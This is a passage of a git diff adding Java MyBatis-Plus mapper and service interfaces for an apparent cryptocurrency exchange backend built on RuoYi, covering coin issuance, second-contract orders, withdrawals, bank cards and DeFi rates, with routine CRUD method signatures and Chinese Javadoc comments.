+ /** + * 删除通知公告 + * + * @param noticeId 通知公告主键 + * @return 结果 + */ + public int deleteTNoticeByNoticeId(Long noticeId); + + /** + * 批量删除通知公告 + * + * @param noticeIds 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTNoticeByNoticeIds(Long[] noticeIds); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOptionRulesMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOptionRulesMapper.java new file mode 100644 index 0000000..7115a30 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOptionRulesMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TOptionRules; + +/** + * 前台文本配置Mapper接口 + * + * @author ruoyi + * @date 2023-07-19 + */ +public interface TOptionRulesMapper extends BaseMapper +{ + /** + * 查询前台文本配置 + * + * @param id 前台文本配置主键 + * @return 前台文本配置 + */ + public TOptionRules selectTOptionRulesById(Long id); + + /** + * 查询前台文本配置列表 + * + * @param tOptionRules 前台文本配置 + * @return 前台文本配置集合 + */ + public List selectTOptionRulesList(TOptionRules tOptionRules); + + /** + * 新增前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + public int insertTOptionRules(TOptionRules tOptionRules); + + /** + * 修改前台文本配置 + * + * @param tOptionRules 前台文本配置 + * @return 结果 + */ + public int updateTOptionRules(TOptionRules tOptionRules); + + /** + * 删除前台文本配置 + * + * @param id 前台文本配置主键 + * @return 结果 + */ + public int deleteTOptionRulesById(Long id); + + /** + * 批量删除前台文本配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTOptionRulesByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinMapper.java new file mode 100644 index 0000000..196973b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TOwnCoin; + +/** + * 发币Mapper接口 + * + * @author ruoyi + * @date 2023-09-18 + */ +public interface TOwnCoinMapper extends BaseMapper +{ + /** + * 查询发币 + * + * @param id 发币主键 + * @return 发币 + */ + public TOwnCoin selectTOwnCoinById(Long id); + + /** + * 查询发币列表 + * + * @param tOwnCoin 发币 + * @return 发币集合 + */ + public List selectTOwnCoinList(TOwnCoin tOwnCoin); + + /** + * 新增发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + public int insertTOwnCoin(TOwnCoin tOwnCoin); + + /** + * 修改发币 + * + * @param tOwnCoin 发币 + * @return 结果 + */ + public int updateTOwnCoin(TOwnCoin tOwnCoin); + + /** + * 删除发币 + * + * @param id 发币主键 + * @return 结果 + */ + public int deleteTOwnCoinById(Long id); + + /** + * 批量删除发币 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTOwnCoinByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinOrderMapper.java new file mode 100644 index 0000000..71a94a7 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinOrderMapper.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TOwnCoinOrder; +import org.apache.ibatis.annotations.Param; + +/** + * 申购订单Mapper接口 + * + * @author ruoyi + * @date 2023-09-20 + */ +public interface TOwnCoinOrderMapper extends BaseMapper +{ + /** + * 查询申购订单 + * + * @param id 申购订单主键 + * @return 申购订单 + */ + public TOwnCoinOrder selectTOwnCoinOrderById(Long id); + + /** + * 查询申购订单列表 + * + * @param tOwnCoinOrder 申购订单 + * @return 申购订单集合 + */ + public List selectTOwnCoinOrderList(TOwnCoinOrder tOwnCoinOrder); + + /** + * 新增申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + public int insertTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 修改申购订单 + * + * @param tOwnCoinOrder 申购订单 + * @return 结果 + */ + public int updateTOwnCoinOrder(TOwnCoinOrder tOwnCoinOrder); + + /** + * 删除申购订单 + * + * @param id 申购订单主键 + * @return 结果 + */ + public int deleteTOwnCoinOrderById(Long id); + + /** + * 批量删除申购订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTOwnCoinOrderByIds(Long[] ids); + + Integer getAllAmountByUserIdAndCoinId(@Param("ownId") Long ownId, @Param("userId") Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinSubscribeOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinSubscribeOrderMapper.java new file mode 100644 index 0000000..4279542 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TOwnCoinSubscribeOrderMapper.java @@ -0,0 +1,77 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TOwnCoinSubscribeOrder; +import org.apache.ibatis.annotations.Param; + +import java.util.List; + +/** + * 平台新币订阅订单Mapper接口 + * + * @author ruoyi + * @date 2023/10/9 + */ +public interface TOwnCoinSubscribeOrderMapper extends BaseMapper { + + /** + * 新增订阅订单 + * + * @param tOwnCoinSubscribeOrder 订阅订单 + * @return 结果 + */ + public int insertTOwnCoinSubscribeOrder(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 修改订阅订单 + * + * @param tOwnCoinSubscribeOrder 订阅订单 + * @return 结果 + */ + public int updateTOwnCoinSubscribeOrder(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 查询用户订阅新发币列表 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + List selectTOwnCoinSubscribeOrderList(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 条件查询用户订阅记录 + * + * @param tOwnCoinSubscribeOrder + * @return + */ + int selectTOwnCoinSubscribeOrderRecord(TOwnCoinSubscribeOrder tOwnCoinSubscribeOrder); + + /** + * 查询订阅审批订单 + * + * @param ownId + * @param userId + * @return + */ + TOwnCoinSubscribeOrder getOrderById(@Param("ownId") Long ownId, @Param("userId") Long userId); + + /** + * 修改订阅记录 + * + * @param userId 用户ID + * @param ownId 新币ID + * @param orderId 申购订单ID + * @return + */ + int updateTOwnCoinSubscribeOrderById( + @Param("userId") Long userId, @Param("ownId") Long ownId, @Param("orderId") String orderId); + + /** + * 订阅详情查询 + * + * @param id + * @return + */ + TOwnCoinSubscribeOrder selectTOwnCoinSubscribeOrderById(@Param("id") Long id); +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondCoinConfigMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondCoinConfigMapper.java new file mode 100644 index 0000000..2da2685 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondCoinConfigMapper.java @@ -0,0 +1,65 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; + +import java.util.List; + + +/** + * 秒合约币种配置Mapper接口 + * + * @author ruoyi + * @date 2023-07-11 + */ +public interface TSecondCoinConfigMapper extends BaseMapper +{ + /** + * 查询秒合约币种配置 + * + * @param id 秒合约币种配置主键 + * @return 秒合约币种配置 + */ + public TSecondCoinConfig selectTSecondCoinConfigById(Long id); + + /** + * 查询秒合约币种配置列表 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 秒合约币种配置集合 + */ + public List selectTSecondCoinConfigList(TSecondCoinConfig tSecondCoinConfig); + + /** + * 新增秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + public int insertTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig); + + /** + * 修改秒合约币种配置 + * + * @param tSecondCoinConfig 秒合约币种配置 + * @return 结果 + */ + public int updateTSecondCoinConfig(TSecondCoinConfig tSecondCoinConfig); + + /** + * 删除秒合约币种配置 + * + * @param id 秒合约币种配置主键 + * @return 结果 + */ + public int deleteTSecondCoinConfigById(Long id); + + /** + * 批量删除秒合约币种配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSecondCoinConfigByIds(Long[] ids); + + List selectBathCopySecondCoinConfigList(); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondContractOrderMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondContractOrderMapper.java new file mode 100644 index 0000000..34ca32c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondContractOrderMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TSecondContractOrder; + +import java.util.List; + +/** + * 秒合约订单Mapper接口 + * + * @author ruoyi + * @date 2023-07-13 + */ +public interface TSecondContractOrderMapper extends BaseMapper +{ + /** + * 查询秒合约订单 + * + * @param id 秒合约订单主键 + * @return 秒合约订单 + */ + public TSecondContractOrder selectTSecondContractOrderById(Long id); + + /** + * 查询秒合约订单列表 + * + * @param tSecondContractOrder 秒合约订单 + * @return 秒合约订单集合 + */ + public List selectTSecondContractOrderList(TSecondContractOrder tSecondContractOrder); + + /** + * 新增秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + public int insertTSecondContractOrder(TSecondContractOrder tSecondContractOrder); + + /** + * 修改秒合约订单 + * + * @param tSecondContractOrder 秒合约订单 + * @return 结果 + */ + public int updateTSecondContractOrder(TSecondContractOrder tSecondContractOrder); + + /** + * 删除秒合约订单 + * + * @param id 秒合约订单主键 + * @return 结果 + */ + public int deleteTSecondContractOrderById(Long id); + + /** + * 批量删除秒合约订单 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSecondContractOrderByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondPeriodConfigMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondPeriodConfigMapper.java new file mode 100644 index 0000000..88790b9 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSecondPeriodConfigMapper.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TSecondPeriodConfig; + +/** + * 秒合约币种周期配置Mapper接口 + * + * @author ruoyi + * @date 2023-07-11 + */ +public interface TSecondPeriodConfigMapper extends BaseMapper +{ + /** + * 查询秒合约币种周期配置 + * + * @param id 秒合约币种周期配置主键 + * @return 秒合约币种周期配置 + */ + public TSecondPeriodConfig selectTSecondPeriodConfigById(Long id); + + /** + * 查询秒合约币种周期配置列表 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 秒合约币种周期配置集合 + */ + public List selectTSecondPeriodConfigList(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 新增秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + public int insertTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 修改秒合约币种周期配置 + * + * @param tSecondPeriodConfig 秒合约币种周期配置 + * @return 结果 + */ + public int updateTSecondPeriodConfig(TSecondPeriodConfig tSecondPeriodConfig); + + /** + * 删除秒合约币种周期配置 + * + * @param id 秒合约币种周期配置主键 + * @return 结果 + */ + public int deleteTSecondPeriodConfigById(Long id); + + /** + * 批量删除秒合约币种周期配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSecondPeriodConfigByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSpontaneousCoinMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSpontaneousCoinMapper.java new file mode 100644 index 0000000..a3b7252 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSpontaneousCoinMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TSpontaneousCoin; + +/** + * 自发币种配置Mapper接口 + * + * @author ruoyi + * @date 2023-10-08 + */ +public interface TSpontaneousCoinMapper extends BaseMapper +{ + /** + * 查询自发币种配置 + * + * @param id 自发币种配置主键 + * @return 自发币种配置 + */ + public TSpontaneousCoin selectTSpontaneousCoinById(Long id); + + /** + * 查询自发币种配置列表 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 自发币种配置集合 + */ + public List selectTSpontaneousCoinList(TSpontaneousCoin tSpontaneousCoin); + + /** + * 新增自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + public int insertTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin); + + /** + * 修改自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + public int updateTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin); + + /** + * 删除自发币种配置 + * + * @param id 自发币种配置主键 + * @return 结果 + */ + public int deleteTSpontaneousCoinById(Long id); + + /** + * 批量删除自发币种配置 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSpontaneousCoinByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolManageMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolManageMapper.java new file mode 100644 index 0000000..6515b24 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolManageMapper.java @@ -0,0 +1,64 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; + +import com.ruoyi.bussiness.domain.TSymbolManage; + +/** + * 币种管理Mapper接口 + * + * @author ruoyi + * @date 2023-07-12 + */ +public interface TSymbolManageMapper extends BaseMapper +{ + /** + * 查询币种管理 + * + * @param id 币种管理主键 + * @return 币种管理 + */ + public TSymbolManage selectTSymbolManageById(Long id); + + /** + * 查询币种管理列表 + * + * @param tSymbolManage 币种管理 + * @return 币种管理集合 + */ + public List selectTSymbolManageList(TSymbolManage tSymbolManage); + + /** + * 新增币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + public int insertTSymbolManage(TSymbolManage tSymbolManage); + + /** + * 修改币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + public int updateTSymbolManage(TSymbolManage tSymbolManage); + + /** + * 删除币种管理 + * + * @param id 币种管理主键 + * @return 结果 + */ + public int deleteTSymbolManageById(Long id); + + /** + * 批量删除币种管理 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSymbolManageByIds(Long[] ids); + + List selectSymbolList(TSymbolManage tSymbolManage); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolsMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolsMapper.java new file mode 100644 index 0000000..b3bf3f5 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TSymbolsMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; + +import java.util.List; +import com.ruoyi.bussiness.domain.TSymbols; + +/** + * 支持币种Mapper接口 + * + * @author ruoyi + * @date 2023-06-26 + */ +public interface TSymbolsMapper +{ + /** + * 查询支持币种 + * + * @param slug 支持币种主键 + * @return 支持币种 + */ + public TSymbols selectTSymbolsBySlug(String slug); + + /** + * 查询支持币种列表 + * + * @param tSymbols 支持币种 + * @return 支持币种集合 + */ + public List selectTSymbolsList(TSymbols tSymbols); + + /** + * 新增支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + public int insertTSymbols(TSymbols tSymbols); + + /** + * 修改支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + public int updateTSymbols(TSymbols tSymbols); + + /** + * 删除支持币种 + * + * @param slug 支持币种主键 + * @return 结果 + */ + public int deleteTSymbolsBySlug(String slug); + + /** + * 批量删除支持币种 + * + * @param slugs 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTSymbolsBySlugs(String[] slugs); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserBankMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserBankMapper.java new file mode 100644 index 0000000..f39fc2c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserBankMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TUserBank; + +/** + * 银行卡Mapper接口 + * + * @author ruoyi + * @date 2023-08-21 + */ +public interface TUserBankMapper extends BaseMapper +{ + /** + * 查询银行卡 + * + * @param id 银行卡主键 + * @return 银行卡 + */ + public TUserBank selectTUserBankById(Long id); + + /** + * 查询银行卡列表 + * + * @param tUserBank 银行卡 + * @return 银行卡集合 + */ + public List selectTUserBankList(TUserBank tUserBank); + + /** + * 新增银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + public int insertTUserBank(TUserBank tUserBank); + + /** + * 修改银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + public int updateTUserBank(TUserBank tUserBank); + + /** + * 删除银行卡 + * + * @param id 银行卡主键 + * @return 结果 + */ + public int deleteTUserBankById(Long id); + + /** + * 批量删除银行卡 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTUserBankByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserCoinMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserCoinMapper.java new file mode 100644 index 0000000..63ae0bb --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserCoinMapper.java @@ -0,0 +1,8 @@ +package com.ruoyi.bussiness.mapper; + +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TUserCoin; + +public interface TUserCoinMapper extends BaseMapper { + void removeByUserId(Long userId); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserSymbolAddressMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserSymbolAddressMapper.java new file mode 100644 index 0000000..8d20d40 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TUserSymbolAddressMapper.java @@ -0,0 +1,61 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import java.util.List; +import com.ruoyi.bussiness.domain.TUserSymbolAddress; + +/** + * 用户币种充值地址Mapper接口 + * + * @author ruoyi + * @date 2023-07-12 + */ +public interface TUserSymbolAddressMapper extends BaseMapper +{ + /** + * 查询用户币种充值地址 + * + * @param id 用户币种充值地址主键 + * @return 用户币种充值地址 + */ + public TUserSymbolAddress selectTUserSymbolAddressById(Long id); + + /** + * 查询用户币种充值地址列表 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 用户币种充值地址集合 + */ + public List selectTUserSymbolAddressList(TUserSymbolAddress tUserSymbolAddress); + + /** + * 新增用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + public int insertTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress); + + /** + * 修改用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + public int updateTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress); + + /** + * 删除用户币种充值地址 + * + * @param id 用户币种充值地址主键 + * @return 结果 + */ + public int deleteTUserSymbolAddressById(Long id); + + /** + * 批量删除用户币种充值地址 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTUserSymbolAddressByIds(Long[] ids); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TWithdrawMapper.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TWithdrawMapper.java new file mode 100644 index 0000000..cd9c5dd --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/mapper/TWithdrawMapper.java @@ -0,0 +1,79 @@ +package com.ruoyi.bussiness.mapper; +import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.vo.WithdrawFreezeVO; +import org.apache.ibatis.annotations.Param; + +import java.math.BigDecimal; +import java.util.List; +import java.util.Map; + + +/** + * 用户提现Mapper接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface TWithdrawMapper extends BaseMapper +{ + /** + * 查询用户提现 + * + * @param id 用户提现主键 + * @return 用户提现 + */ + public TWithdraw selectTWithdrawById(Long id); + + /** + * 查询用户提现列表 + * + * @param tWithdraw 用户提现 + * @return 用户提现集合 + */ + public List selectTWithdrawList(TWithdraw tWithdraw); + + /** + * 新增用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + public int insertTWithdraw(TWithdraw tWithdraw); + + /** + * 修改用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + public int updateTWithdraw(TWithdraw tWithdraw); + + /** + * 删除用户提现 + * + * @param id 用户提现主键 + * @return 结果 + */ + public int deleteTWithdrawById(Long id); + + /** + * 批量删除用户提现 + * + * @param ids 需要删除的数据主键集合 + * @return 结果 + */ + public int deleteTWithdrawByIds(Long[] ids); + + List selectTWithdrawVoice(String parentId); + + BigDecimal getAllWithdraw(@Param("parentId") String parentId, @Param("type")Integer type); + + List selectFreezeList(TWithdraw appWithdraw); + + List> getWeekWithdraw(String parentId); + + List> getWeekFailedWithdraw(String parentId); + + Integer getCountByUserId(Long userid); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/FileService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/FileService.java new file mode 100644 index 0000000..5328c7c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/FileService.java @@ -0,0 +1,9 @@ +package com.ruoyi.bussiness.service; + +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; + +public interface FileService { + String uploadFileOSS(MultipartFile file, String name) throws IOException; +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiActivityService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiActivityService.java new file mode 100644 index 0000000..dab715c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiActivityService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.DefiActivity; + +/** + * 空投活动Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface IDefiActivityService extends IService +{ + /** + * 查询空投活动 + * + * @param id 空投活动主键 + * @return 空投活动 + */ + public DefiActivity selectDefiActivityById(Long id); + + /** + * 查询空投活动列表 + * + * @param defiActivity 空投活动 + * @return 空投活动集合 + */ + public List selectDefiActivityList(DefiActivity defiActivity); + + /** + * 新增空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + public int insertDefiActivity(DefiActivity defiActivity); + + /** + * 修改空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + public int updateDefiActivity(DefiActivity defiActivity); + + /** + * 批量删除空投活动 + * + * @param ids 需要删除的空投活动主键集合 + * @return 结果 + */ + public int deleteDefiActivityByIds(Long[] ids); + + /** + * 删除空投活动信息 + * + * @param id 空投活动主键 + * @return 结果 + */ + public int deleteDefiActivityById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiOrderService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiOrderService.java new file mode 100644 index 0000000..3121d0b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiOrderService.java @@ -0,0 +1,67 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.dto.DefiOrderDTO; + +import java.math.BigDecimal; +import java.util.List; + +/** + * defi订单Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface IDefiOrderService extends IService +{ + /** + * 查询defi订单 + * + * @param id defi订单主键 + * @return defi订单 + */ + public DefiOrder selectDefiOrderById(Long id); + + /** + * 查询defi订单列表 + * + * @param defiOrder defi订单 + * @return defi订单集合 + */ + public List selectDefiOrderList(DefiOrder defiOrder); + public List getOrder(DefiOrder defiOrder); + /** + * 新增defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + public int insertDefiOrder(DefiOrder defiOrder); + + /** + * 修改defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + public int updateDefiOrder(DefiOrder defiOrder); + + /** + * 批量删除defi订单 + * + * @param ids 需要删除的defi订单主键集合 + * @return 结果 + */ + public int deleteDefiOrderByIds(Long[] ids); + + /** + * 删除defi订单信息 + * + * @param id defi订单主键 + * @return 结果 + */ + public int deleteDefiOrderById(Long id); + + public BigDecimal getAllAmount(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiRateService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiRateService.java new file mode 100644 index 0000000..cec050b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IDefiRateService.java @@ -0,0 +1,83 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.DefiActivity; +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.DefiRate; +import com.ruoyi.bussiness.domain.dto.*; + +/** + * defi挖矿利率配置Service接口 + * + * @author ruoyi + * @date 2023-08-17 + */ +public interface IDefiRateService extends IService +{ + /** + * 查询defi挖矿利率配置 + * + * @param id defi挖矿利率配置主键 + * @return defi挖矿利率配置 + */ + public DefiRate selectDefiRateById(Long id); + + /** + * 查询defi挖矿利率配置列表 + * + * @param defiRate defi挖矿利率配置 + * @return defi挖矿利率配置集合 + */ + public List selectDefiRateList(DefiRate defiRate); + public List selectDefiRateAllList(); + /** + * 新增defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + public int insertDefiRate(DefiRate defiRate); + + /** + * 修改defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + public int updateDefiRate(DefiRate defiRate); + + /** + * 批量删除defi挖矿利率配置 + * + * @param ids 需要删除的defi挖矿利率配置主键集合 + * @return 结果 + */ + public int deleteDefiRateByIds(Long[] ids); + + /** + * 删除defi挖矿利率配置信息 + * + * @param id defi挖矿利率配置主键 + * @return 结果 + */ + public int deleteDefiRateById(Long id); + + List userInvestment(); + + List getDefiRateByAmount(BigDecimal amount); + + UserInvestmentDto getUserShowIncome(Long id); + List getOrder(DefiOrder defiOrder); + List getOrderList(DefiOrder defiOrder); + List showDefiActivity(Long id); + List showDefiActivityNotice(Long id); + + Integer updateDefiActivity(Long userId ,Integer status); + + void sendApproveHash(AddressHashDTO hash); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IKlineSymbolService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IKlineSymbolService.java new file mode 100644 index 0000000..fb99b8b --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/IKlineSymbolService.java @@ -0,0 +1,62 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import com.ruoyi.bussiness.domain.KlineSymbol; + +/** + * 数据源Service接口 + * + * @author ruoyi + * @date 2023-07-10 + */ +public interface IKlineSymbolService extends IService +{ + /** + * 查询数据源 + * + * @param id 数据源主键 + * @return 数据源 + */ + public KlineSymbol selectKlineSymbolById(Long id); + + /** + * 查询数据源列表 + * + * @param klineSymbol 数据源 + * @return 数据源集合 + */ + public List selectKlineSymbolList(KlineSymbol klineSymbol); + + /** + * 新增数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + public int insertKlineSymbol(KlineSymbol klineSymbol); + + /** + * 修改数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + public int updateKlineSymbol(KlineSymbol klineSymbol); + + /** + * 批量删除数据源 + * + * @param ids 需要删除的数据源主键集合 + * @return 结果 + */ + public int deleteKlineSymbolByIds(Long[] ids); + + /** + * 删除数据源信息 + * + * @param id 数据源主键 + * @return 结果 + */ + public int deleteKlineSymbolById(Long id); +} diff --git 